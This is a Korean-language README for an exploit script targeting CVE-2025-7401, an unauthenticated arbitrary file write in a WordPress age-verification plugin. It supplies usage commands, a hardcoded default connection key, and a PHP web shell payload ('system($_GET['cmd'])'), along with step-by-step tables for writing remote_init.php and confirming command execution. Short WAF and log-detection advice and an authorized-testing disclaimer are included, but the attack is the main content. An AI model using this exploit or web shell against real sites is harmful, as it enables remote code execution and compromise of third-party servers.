
프리미엄 연령 확인 / 제한 WordPress <= 3.0.2용 - 인증되지 않은 임의 파일 읽기 및 쓰기
「Premium Age Verification / Restriction for WordPress」 플러그인에는 remote_tunnel.php에 보호가 불충분한 원격 지원 엔드포인트가 포함되어 있습니다. 3.0.2를 포함한 영향을 받는 버전에서는 이 엔드포인트가 인증되지 않은 임의 파일 읽기 및 쓰기에 악용될 수 있습니다. 성공적인 악용 시 민감한 정보가 노출되거나 원격 코드 실행이 허용될 수 있습니다.
CVE-2025-7401.py# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php에 대한 의심스러운 요청을 탐지하고 차단하는 WAF 규칙을 배포하십시오.action=save_file, file, file_content 파라미터와 함께 /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php에 대한 POST 요청이 있는지 웹 서버 로그를 검사하십시오.remote_init.php와 같은 예상치 못한 파일이 있는지 플러그인 디렉터리를 검색하십시오.제3자 인프라에서 이 취약점을 발견한 경우:
권한 없이 취약점 테스트 도구를 사용하는 것은 많은 관할권에서 불법입니다. 이 저장소와 스크립트는 방어적 연구, 공인된 테스트, 조정된 취약점 공개만을 목적으로 합니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.
저자와 기여자는 정보 또는 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 이 자료는 법적 및 윤리적 경계 내에서만 사용하십시오.
작성자: Nxploited ( Khaled Alenazi )
| 플래그 | 유형 | 기본값 | 설명 |
|---|
| -u, --url | string | 필수 | 대상 도메인 또는 부분 URL입니다. 필요한 경우 스크립트가 플러그인 엔드포인트를 추가합니다. 예: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/. |
| -key, --key | string | 330489965d8266a739442ef890f57805 | 원격 지원 엔드포인트에서 사용하는 연결 키입니다. 필요 시 실습(랩) 대상에 맞게 재정의하십시오. |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | 파일 내용으로 주입할 PHP 스니펫입니다. 공인된 테스트에서만 변경하십시오. |
| --no-verify | flag | false | 이 옵션이 지정되면 스크립트는 기록된 파일에 대한 선택적 GET 검증을 수행하지 않습니다. |
| 단계 | 동작 | 세부 사항 |
|---|
| 1 | 입력 정규화 | 사용자 입력(도메인 또는 부분 경로)을 받습니다. 스킴(http://가 없는 경우)을 보장하고 중복 슬래시를 제거하며, 엔드포인트가 포함되어 있지 않으면 /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php를 추가합니다. |
| 2 | 헤더 구성 | 실제와 유사한 HTTP 요청 헤더를 구성합니다(user-agent 순환 선택, Accept, Referer, Content-Type). |
| 3 | 페이로드 인코딩 | 제공된 PHP 스니펫을 Base64로 인코딩하여 file_content에 배치합니다. |
| 4 | POST 익스플로잇 요청 | connection_key, action=save_file, file(서버 경로), file_content를 application/x-www-form-urlencoded 방식으로 정규화된 remote_tunnel.php 엔드포인트에 전송합니다. |
| 5 | 응답 파싱 | 응답 본문에서 JSON 파싱을 시도합니다. JSON이 있으면 status와 file_path를 출력하고, 그렇지 않으면 정리된 원본 응답을 출력합니다. |
| 6 | 검증(선택 사항) | 주입된 파일에 접근 가능하고 내용이 반환되는지 확인하기 위해 /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami에 GET 요청을 시도합니다. --no-verify로 선택적으로 생략할 수 있습니다. |
| 7 | 보고 | 사용된 엔드포인트, HTTP 상태, 파싱된 JSON(있는 경우), 예상 셸 URL, 잘린 검증 출력(성공한 경우)을 포함한 구조화된 사람이 읽을 수 있는 보고서를 출력합니다. |
| 출력 필드 | 의미 | 예 |
|---|
| 대상 엔드포인트 | 접속한 최종 정규화 URL(remote_tunnel.php의 전체 경로). | http://example.com/wp-content/.../remote_tunnel.php |
| HTTP 상태 코드 | POST 요청의 HTTP 응답 코드. 200은 일반적으로 요청이 처리되었음을 나타냅니다. | 200 |
| 응답 JSON status | 엔드포인트가 JSON을 반환하는 경우 status 필드가 성공/실패를 보고합니다. | valid |
| 응답 JSON file_path | 엔드포인트가 파일을 기록한 위치를 나타내는 서버 측 경로(정보 제공용). | /var/www/html/wp-content/.../remote_init.php |
| 원본 응답 | PHP 공지나 메시지와 같은 JSON이 아닌(정리된) 응답 본문. | Notice: ... |
| 셸 URL(예상) | 주입된 파일에 접근할 수 있는 공개 URL. 공인된 테스트에서 검증 목적으로만 사용하십시오. | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| 검증 HTTP 상태 | 선택적 GET 검증의 HTTP 상태. | 200 |
| 검증 본문(잘림) | 검증 응답 본문의 처음 N자(명령 출력을 확인하는 데 유용). | www-data |